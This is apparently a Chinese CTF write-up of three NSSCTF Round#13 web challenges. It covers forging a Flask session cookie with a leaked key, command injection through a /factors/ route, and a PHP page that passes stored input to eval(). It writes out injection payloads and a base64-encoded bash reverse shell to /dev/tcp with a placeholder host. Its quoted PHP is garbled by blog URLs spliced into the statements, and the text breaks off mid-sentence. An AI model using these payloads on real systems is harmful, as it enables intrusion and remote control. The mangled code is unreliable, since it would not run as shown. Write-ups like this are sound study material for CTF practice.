NSSCTF Round#13 web專項-有解無憂

rank:3

flask?jwt?

簡單的注冊個賬號，在/changePassword 下查看頁面源代碼發現密鑰 ,很好，老套路了，flask-session-cookie-manager偽造，把_user_id 改成1，訪問/getFlag ，拿到flag

ez_factors

查看頁面源代碼，發現路由/factors/114514 ,訪問發現114514被分解，猜測后臺邏輯是利用linux命令factor對/factors/后接的字符執行，這樣直接用; 來個多命令執行，訪問/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有東西不過是一串數字，嗯，看樣子應該是讀不出來了，直接反彈shell，echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/導致破壞路由，成功反彈shell

MyWeb

代碼如下：

<?php
error_reporting(E_ALL);
// 寫了個網頁存盤JSON資料，但是還不會處理json格式，這樣處理應該沒有什么問題吧

if ($_GET['mode'] == 'save') {
    $data = https://www.cnblogs.com/F12-blog/archive/2023/06/04/file_get_contents('/tmp/data.json');
    $value = https://www.cnblogs.com/F12-blog/archive/2023/06/04/addslashes($_GET['value']);
    $data = https://www.cnblogs.com/F12-blog/archive/2023/06/04/str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = https://www.cnblogs.com/F12-blog/archive/2023/06/04/file_get_contents('/tmp/data.json');
    eval('$data = 'https://www.cnblogs.com/F12-blog/archive/2023/06/04/. $data .';');
    print_r($data);
} else {
    highlight_file(__FILE__);
}

很明顯能命令執行，寫個1進去，read之后是這樣的